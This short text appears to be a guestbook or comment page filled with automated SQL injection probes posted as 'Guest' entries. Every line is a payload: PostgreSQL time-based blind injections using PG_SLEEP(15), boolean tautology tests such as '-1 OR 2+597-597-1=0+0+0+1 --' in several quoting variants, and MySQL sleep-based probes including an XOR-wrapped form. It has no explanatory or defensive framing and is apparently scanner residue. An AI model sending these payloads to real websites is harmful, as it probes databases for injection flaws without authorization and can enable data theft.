Guest:
1j2F78wU9') OR 490=(SELECT 490 FROM PG_SLEEP(15))--


Guest:
1j2F78wU9') OR 490=(SELECT 490 FROM PG_SLEEP(15))--


Guest:
1j2F78wU9') OR 490=(SELECT 490 FROM PG_SLEEP(15))--


-1 OR 2+597-597-1=0+0+0+1 --

-1 OR 2+989-989-1=0+0+0+1

-1' OR 2+125-125-1=0+0+0+1 --

-1' OR 2+335-335-1=0+0+0+1 or 'n4vA6xCH'='

-1" OR 2+882-882-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1j2F78wU9') OR 490=(SELECT 490 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z